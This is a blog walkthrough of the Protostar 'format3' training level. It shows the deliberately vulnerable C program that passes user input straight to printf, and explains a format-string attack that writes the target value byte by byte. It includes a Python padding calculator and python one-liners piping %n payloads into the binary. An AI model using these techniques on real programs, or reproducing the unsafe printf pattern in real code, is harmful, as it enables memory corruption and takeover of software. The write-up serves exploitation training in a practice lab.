Protostar – Format Strings – Level 3

This is another post about Protostar exploiting box. Let’s start working in the interesting levels 🙂

This is the hint for the level:

This level advances from format2 and shows how to write more than 1 or 2 bytes of memory to the process. This also teaches you to carefully control what data is being written to the process memory.
 
This level is at /opt/protostar/bin/format3

And this is the code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);
  
  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

As the level starts as the last one, I’m going to cover the initial part of the level in few lines. If you need more details, please read this post:

The steps are the following:

  • We perform a format string attack and we try to find our 4 A’s displayed as 41414141
  • We find the target variable memory address by using objdump
  • We change the 4 A’s for the memory address of the target variable in reverse order
  • We modify the last %x for a %n to write instead of read

Following these steps, we can see that we modified the variable, and now it’s value is 41. Now we need to change it to: 0x01025544. Let’s see how we can do this.

The first thing that we need to notice is that the value that we want to modify it’s 4 bytes long. This value is not only located in the memory address: 080496f4, it’s also located in the adjacent memory addresses.

As a summary, we can use the following information:

080496f4 -> Address 1 -> Modifies Byte 1
080496f5 -> Address 2 -> Modifies Byte 2
080496f6 -> Address 3 -> Modifies Byte 3
080496f7 -> Address 4 -> Modifies Byte 4

To modify all these values, let’s construct a valid structure:

Value1 +  Address 1 + Value2 + Address2 + Value3 + Address3 + Value4 + Address4 + '%x'*11 + "%u%n" + %u%n + %u%n + %u%n

This structure contains the following:

  • value + address 4 times
  • 11 %x of padding
  • %u%n 4 times <- with this we will control the values of the bytes

And we will need this small python script also to calculate the offsets:

def calculate(to_write, written):
    to_write += 0x100
    written %= 0x100
    padding = (to_write - written) % 0x100
    if padding < 10:
        padding += 0x100
    print padding

I’ve found the code it in this blog post:

https://www.ayrx.me/protostar-walkthrough-format

Now we are ready to continue creating the string. Let’s launch the initial structure without any value in the %u

python -c "print 'AAAA' + '\xf4\x96\x04\x08' + 'AAAA' + '\xf5\x96\x04\x08' + 'AAAA' + '\xf6\x96\x04\x08' + 'AAAA' +'\xf7\x96\x04\x08' + '%x'*11 + '%u%n' + '%u%n' + '%u%n' +'%u%n'" | ./format3

As you can see in the image above we are getting the following number:

857b7167

But we need to get:

01025544

Let’s focus in the last byte, we need a 44, but we have a 67. If we use our calculator, it displays that we need the following value: 231

Let’s use it in the first %u, and we are going to get the correct number:

python -c "print 'AAAA' + '\xf4\x96\x04\x08' + 'AAAA' + '\xf5\x96\x04\x08' + 'AAAA' + '\xf6\x96\x04\x08' + 'AAAA' +'\xf7\x96\x04\x08' + '%x'*11 + '%231u%n' + '%u%n' + '%u%n' +'%u%n'" | ./format3

The last step is to do the same with the other 3 numbers, and we will pass this level:

That’s all for this post. One more to go…

See you soon and Happy Hacking! 🙂

This entry was posted in Exploiting and tagged , , , , , , , , , , , , . Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *